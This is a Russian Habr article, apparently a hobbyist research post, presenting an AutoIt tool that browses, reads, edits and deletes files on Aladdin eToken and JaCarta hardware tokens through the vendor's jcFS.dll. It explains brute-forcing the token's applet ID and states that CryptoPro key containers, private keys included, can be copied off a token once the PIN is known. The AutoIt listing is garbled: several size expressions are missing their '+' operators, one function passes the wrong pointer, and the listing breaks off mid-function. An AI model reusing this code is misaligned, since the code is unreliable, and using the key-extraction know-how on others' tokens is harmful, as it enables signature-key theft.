Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр Электронная цифровая подпись

Делаем jacarta editor

«О Царстве Теней я могу сказать только одно: есть реальность и есть её Тень; в этом суть всего. В реальном Мире существует лишь Амбер, реальный город на реальной Земле, в котором собрано всё. А Царство Теней — лишь бесконечность ирреальности. Здесь тоже можно обнаружить всё — но то будут тени, искажённое отражение реальности. Царство Теней окружает Амбер со всех сторон. А за его пределами царит хаос. На пути из Амбера в Царство Хаоса возможно всё.»

Роджер Желязны. «Девять принцев Амбера»

Всё началось с нeoбxодимocти работать с одним и тем же ключом на etoken c разных, значительно удалённых друг от друга рабочих мест (USB Over IP ради пары токенов дороговато будет) и моего большого желания открыть этот закрытый мир. Мне попалась работа

habr.com/post/276057

за что её автору большой респект, в моём проекте использована значительная часть отреверсеных им функций (код ведь открытый). Правда как выяснилось всё что работает с etsdk.dll работает только с синими рыбками. Поэтому для JaCarta новые функции пришлось писать заново, а часть отредактировать.

В результате долгих изысканий появился JaCarta Editor — программа показывающая и позволяющая редактировать сущности (именно так в официальной документации называют объекты файловой системы токенов, видимо намекая на их эфемерность и ирреальность) на токенах от Аладдина, в том числе самых современных.

Аналогичное приложение для Rutoken есть в открытом доступе в составе Rutoken SDK (Rutoken Editor), но для Аладдина, по крайней мере в открытом доступе нет, хотя лет 15 назад, судя по документации которую удалось найти в интернете, такое было (ETEditor).

Программа написана на Autoit, тестировалась с EToken PRO Java 72 K, JaCarta LT, JaCarta Pro, JaCarta ГОСТ-2.

Программа не будет работать, если на компьютере установлены драйвера Rutoken (требуется чтобы EToken или Ja Carta имели номер ридера 0).

По этой же причине для корректной работы должен быть подключен только один токен.

Скрипт использует системные вызовы Window$, и тестировался только с этим семейством ОС.

Для работы требуется установка «Единого клиента JaCarta» (бесплатно скачивается с сайта производителя), при установке которого в системную папку windows устанавливается в том числе и значительно более новая версия etsdk.dll а также jcFS.dll содержащая функции JaCarta File System (очень похожие на те что в etsdk.dll, но в jcFS появилось значительно больше функций без которых работа с некоторыми современными джакартами, например ГОСТ-2, будет невозможна). При установленном Едином клиенте искать и ложить в папку с программой эту dll естественно не нужно, в ином случае при установленном драйвере конкретного вида токена эта dll должна быть в папке с программой.

Все функции jcFS подробно описаны на сайте производителя, но тем не менее некоторые параметры этих функций пришлось подбирать экспериментально.

Для того, чтобы получить доступ к корневой директории токена необходимо вызвать функцию ETRootDirOpen или JCRootDirOpen (что одинаково, так как первая в dll вызывает вторую, это справедливо почти для всех функций, но есть несколько исключений) с идентификатором вендора равным 0 (константы типа 0xF007 позволят увидеть только отдельные директории в основном старых eToken на которых хранятся банковские ключи сгенерированные с помощью утилит типа PKIAdmin и MessagePRO).

Следующей важной особенностью современных джакарт является необходимость знать id апплета который установлен на токене, за это отвечает функция JCSelectApplet.

У старых токенов обычно есть апплет по умолчанию и вызов этой функции специально не требуется, но у новых и относительно новых джакарт без знания id апплета дальнейшая работа становится невозможной. Вызов всех функций получающих информацию от токена в этом случае возвращает False. В моём проекте в этом случае реализован двуступенчатый брутфорс (токен отзывается всегда на два id, но работает из них только один) id и дальнейшеая работа с нужным значением.

Вся информация выводится в окно вывода расположенное под деревом директорий.
Реализован ввод пин кода, выводится также информация об оставшихся попытках его ввода.
Выводится содержание директорий и краткие сведения о файлах: имя, является ли файл приватной информацией закрытой пин кодом — буква p: (ноль после неё файл публичный, единица приватный) и размер файла в байтах после «s:». Файл открывается по двойному клику.

Можно просмотреть и при необходимости скопировать в буфер содержимое файлов токена в шестнадцатеричном виде или сохранить в бинарном виде на компьютер.

Можно также изменить содержимое файла и выбрать в меню «Сохранить изменения» (предварительно должен быть введён пин код, если не был введён, то будет выведено соответствующее сообщение, в этом случае отредактированные данные можно выделить и скопировать в буфер обмена).

Для удаления файла необходимо его выделить и нажать «Удалить», после чего появится окно для подтверждения.

У JaCarta File System есть занятная особенность, которая пристутствует на всех токенах которые я тестировал. Если создать на токене директорию или несколько директорий без файлов, при следующей сессии работы с токеном они исчезнут, видимо таким образом файловая система заботится о сохранении объёма памяти токена и чистит от всякого мусора.

Поэтому при нажатии в программе кнопки «Создать» создаётся сразу цепочка из директории или двух директорий и файла. Глубина вложенности директорий в программе — две, не считая корневую. В корневой директории можно создавать только директории, но не файлы.
Перед созданием, редактирование или удалением сущностей необходимо ввести пин код.

Очень важное замечание об именах директорий!

На токенах, где содержимое создано средствами производителя вы никогда не встретите директорий с одинаковыми именами, где бы они не были. Это связано с особенностями файловой системы.

Предположим, у нас на токене есть следующая сущность: //0001/A001/0008 (то есть в корневой директории находится папка 0001, в ней папка А001, а в ней файл 0008) и мы создаём на токене новую сущность: //СС00/0001/1010. При обращении к файлу 1010 начнётся поиск директории 0001, которая находится в корне и будет найдена первой, но такого файла в ней нет. В результате функция возвращает False и cущность становится потерянной, как либо обратиться к ней и удалить тоже нельзя. Поможет только инициализация токена.

Особое замечаеме про EToken PRO и JA Carta Pro, отличие у которых только во внешнем виде, у них в корневой директории находятся системные файлы (именно они показаны на скрине), в одном из которых хранится судя по всему хэш пин кода, изменение этих файлов приводит к тому что авторизация становится невозможной (пин код становится неверным) и после этого поможет только инициализация.

Относительно закрытых ключей удалось установить следующее: если на токене хранится контейнер, созданный сторонним криптопровайдером, например CryptoPro, то всё его содержимое, включая закрытые ключи будет доступно, это просто флэшка с пин кодом (что и показано на картинке). Если же ключевая пара была сгенерирована на борту токена средствами PKCS11, то будут доступны только сертификат и открытый ключ.

Поскольку это экспериментальная программа я не рекомендую использовать её с токенами содержащими действующие ключи ЭЦП, все операции выполняются на страх и риск экспериментирующего. Особенно это касается создания новых сущностей, в ряде случаев результат труднопредсказуем.

Вся информация для создания программы получена из открытых источников, цель её создания чисто исследовательская.

Собственно скрипт

JACartaEditor.au3
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <EditConstants.au3>
#include <TreeViewConstants.au3>
#include <GuiTreeView.au3>
#include <GuiMenu.au3>
#include <MsgBoxConstants.au3>
#include <StaticConstants.au3>
#include <GuiButton.au3>
#NoTrayIcon

;функции из jcFS.dll
Dim $ETSdkDll=DllOpen('jcFS.dll')


Func ETTokenLock($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLock', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenUnLock($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenUnLock', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc


Func ETReadersEnumOpen()
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumOpen', _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETReadersEnumNext($EnumId)
	Local $Reader=DllStructCreate('CHAR name[260]; BYTE etoken;')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Reader) _
	)
	Local $Result[2]=[	DllStructGetData($reader,'name'), _
						DllStructGetData($reader,'etoken')]
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:$Result
EndFunc

Func ETReadersEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenBind($ReaderName)
	Local $In=DllStructCreate('BYTE['&(StringLen($ReaderName) 1)&']')
	Local $Out=DllStructCreate('DWORD')
	DllStructSetData($In,1,$ReaderName)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenBind', _
		'PTR',DllStructGetPtr($Out), _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETTokenRebind($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenRebind', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenUnbind($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenUnbind', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenLogin($BindId,$Pin='')
	Local $In=DllStructCreate('BYTE['&(StringLen($Pin) 1)&']')
	DllStructSetData($In,1,$Pin)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLogin', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenPinChange($BindId,$Pin)
	Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
	DllStructSetData($In,1,$Pin)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenPinChange', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenLogout($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLogout', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETRootDirOpen($BindId,$Dir=0xF007)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETRootDirOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$BindId, _
		'DWORD',$Dir _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETDirOpen($Dir,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$Dir, _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETDirCreate($Dir,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirCreate', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$Dir, _
		'DWORD',$DirId, _
		'DWORD',0 _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETDirGetInfo($DirId)
	Local $Out=DllStructCreate('WORD wDirName; WORD wSize')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirGetInfo', _
		'DWORD',$DirId, _
		'PTR',DllStructGetPtr($Out) _
	)
Local $Result[2]=[	DllStructGetData($Out,'wDirName'), _
						DllStructGetData($Out,'wSize')]

	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:$Result

EndFunc

Func ETDirClose($DirId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirClose', _
		'DWORD',$DirId _
	)


	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETDirDelete($DirId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirDelete', _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETDirEnumOpen($DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETDirEnumNext($EnumId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETDirEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETFileOpen($File,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId, _
		'DWORD',$File _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETFileCreate($File,$DirId,$Size,$Private=0)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileCreate', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId, _
		'DWORD',$File, _
		'DWORD',$Size, _
		'DWORD',$Private _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETFileGetInfo($FileId)
	Local $Out=DllStructCreate('WORD name;WORD private;WORD;WORD size')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileGetInfo', _
		'DWORD',$FileId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Local $Result[3]=[	DllStructGetData($Out,'name'), _
						DllStructGetData($Out,'private'), _
						DllStructGetData($Out,'size')]
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:$Result
EndFunc

Func ETFileRead($FileId)
	Local $FileInfo=ETFileGetInfo($FileId)
	If @error Then Return SetError(@error,0,False)
	Local $Out=DllStructCreate('BYTE ['&$FileInfo[2]&']')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileRead', _
		'DWORD',$FileId, _
		'DWORD',0, _
		'DWORD',0xFFFF, _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$FileInfo[2] _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETFileWrite($FileId,$Data,$Pos=0)
	$Data=Binary($Data)
	Local $DataSize=BinaryLen($Data)
	Local $In=DllStructCreate('BYTE['&$DataSize&']')
	DllStructSetData($In,1,$Data)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileWrite', _
		'DWORD',$FileId, _
		'DWORD',$Pos, _
		'PTR',DllStructGetPtr($In), _
		'DWORD',$DataSize _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETFileClose($FileId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileClose', _
		'DWORD',$FileId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETFileDelete($FileId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileDelete', _
		'DWORD',$FileId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETFilesEnumOpen($DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId _
	)

	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETFilesEnumNext($EnumId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETFilesEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func ETTokenLabelGet($BindId)
	Local $Out1=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLabelGet', _
		'DWORD',$BindId, _
		'PTR',0, _
		'PTR',DllStructGetPtr($Out1) _
	)
	If $CallRes[0] Then Return SetError($CallRes[0],0,False)
	Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
	$CallRes=DllCall($ETSdkDll,'WORD','ETTokenLabelGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out2), _
		'PTR',DllStructGetPtr($Out1) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out2,1)
EndFunc

Func ETTokenIDGet($BindId)
	Local $Out1=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenIDGet', _
		'DWORD',$BindId, _
		'PTR',0, _
		'PTR',DllStructGetPtr($Out1) _
	)
	If $CallRes[0] Then Return SetError($CallRes[0],0,False)
	Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
	$CallRes=DllCall($ETSdkDll,'WORD','ETTokenIDGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out2), _
		'PTR',DllStructGetPtr($Out1) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out2,1)
EndFunc

Func ETTokenMaxPinGet($BindId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenMaxPinGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func ETTokenMinPinGet($BindId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenMinPinGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc



Func ETSelectApplet($BindId, $Applet)

Local $In=DllStructCreate('DWORD')
	DllStructSetData($In,1,$Applet)
	Local $CallRes=DllCall($ETSdkDll,'WORD','ETSelectApplet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Applet) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True

EndFunc

Func JCSelectApplet($BindId, $Applet)

Local $In=DllStructCreate('WORD')
	DllStructSetData($In,1,$Applet)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCSelectApplet', _
		'DWORD',$BindId, _
		'WORD',$Applet _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True

EndFunc



Func JCReadersEnumOpen()
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumOpen', _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCReadersEnumNext($EnumId)
	Local $Reader=DllStructCreate('CHAR name[260]; BYTE etoken;')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Reader) _
	)
	Local $Result[2]=[	DllStructGetData($reader,'name'), _
						DllStructGetData($reader,'etoken')]
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:$Result
EndFunc

Func JCReadersEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenBind($ReaderName)
	Local $In=DllStructCreate('CHAR['&(StringLen($ReaderName) 1)&']')
	Local $Out=DllStructCreate('DWORD')
	DllStructSetData($In,1,$ReaderName)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenBind', _
		'PTR',DllStructGetPtr($Out), _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCTokenRebind($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenRebind', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenUnbind($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenUnbind', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenLogin($BindId,$Pin)
	Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
	DllStructSetData($In,1,$Pin)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLogin', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenPinChange($BindId,$Pin)
	Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
	DllStructSetData($In,1,$Pin)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenPinChange', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($In) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenLogout($BindId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLogout', _
		'DWORD',$BindId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCRootDirOpen($BindId,$Dir=0)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCRootDirOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$BindId, _
		'WORD',$Dir _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirOpen($Dir,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$Dir, _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirCreate($Dir,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirCreate', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$Dir, _
		'DWORD',$DirId, _
		'DWORD',0 _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirGetInfo($DirId)
	Local $Out=DllStructCreate('BYTE[8]')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirGetInfo', _
		'DWORD',$DirId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirClose($DirId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirClose', _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCDirDelete($DirId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirDelete', _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCDirEnumOpen($DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirEnumNext($EnumId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCDirEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCFileOpen($File,$DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId, _
		'DWORD',$File _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCFileCreate($File,$DirId,$Size,$Private=0)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileCreate', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId, _
		'DWORD',$File, _
		'DWORD',$Size, _
		'DWORD',$Private _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCFileGetInfo($FileId)
	Local $Out=DllStructCreate('WORD name;WORD private;WORD;WORD size')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileGetInfo', _
		'DWORD',$FileId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Local $Result[3]=[	DllStructGetData($Out,'name'), _
						DllStructGetData($Out,'private'), _
						DllStructGetData($Out,'size')]
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:$Result
EndFunc

Func JCFileRead($FileId)
	Local $FileInfo=JCFileGetInfo($FileId)
	If @error Then Return SetError(@error,0,False)
	Local $Out=DllStructCreate('BYTE ['&$FileInfo[2]&']')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileRead', _
		'DWORD',$FileId, _
		'DWORD',0, _
		'DWORD',0xFFFF, _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$FileInfo[2] _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCFileWrite($FileId,$Data,$Pos=0)
	$Data=Binary($Data)
	Local $DataSize=BinaryLen($Data)
	Local $In=DllStructCreate('BYTE['&$DataSize&']')
	DllStructSetData($In,1,$Data)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileWrite', _
		'DWORD',$FileId, _
		'DWORD',$Pos, _
		'PTR',DllStructGetPtr($In), _
		'DWORD',$DataSize _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCFileClose($FileId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileClose', _
		'DWORD',$FileId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCFileDelete($FileId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileDelete', _
		'DWORD',$FileId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCFilesEnumOpen($DirId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumOpen', _
		'PTR',DllStructGetPtr($Out), _
		'DWORD',$DirId _
	)

	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCFilesEnumNext($EnumId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumNext', _
		'DWORD',$EnumId, _
		'PTR',DllStructGetPtr($Out) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out,1)
EndFunc

Func JCFilesEnumClose($EnumId)
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumClose', _
		'DWORD',$EnumId _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:True
EndFunc

Func JCTokenLabelGet($BindId)
	Local $Out1=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLabelGet', _
		'DWORD',$BindId, _
		'PTR',0, _
		'PTR',DllStructGetPtr($Out1) _
	)
	If $CallRes[0] Then Return SetError($CallRes[0],0,False)
	Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
	$CallRes=DllCall($ETSdkDll,'WORD','JCTokenLabelGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out2), _
		'PTR',DllStructGetPtr($Out1) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out2,1)
EndFunc

Func JCTokenIDGet($BindId)
	Local $Out1=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenIDGet', _
		'DWORD',$BindId, _
		'PTR',0, _
		'PTR',DllStructGetPtr($Out1) _
	)
	If $CallRes[0] Then Return SetError($CallRes[0],0,False)
	Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
	$CallRes=DllCall($ETSdkDll,'WORD','JCTokenIDGet', _
		'DWORD',$BindId, _
		'PTR',DllStructGetPtr($Out2), _
		'PTR',DllStructGetPtr($Out1) _
	)
	Return $CallRes[0] _
		?SetError($CallRes[0],0,False) _
		:DllStructGetData($Out2,1)
EndFunc

Func JCTokenMaxPinGet($BindId)
	Local $Out=DllStructCreate('DWORD')
	Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenMaxPinGet', _
		'DWORD',$BindId, _
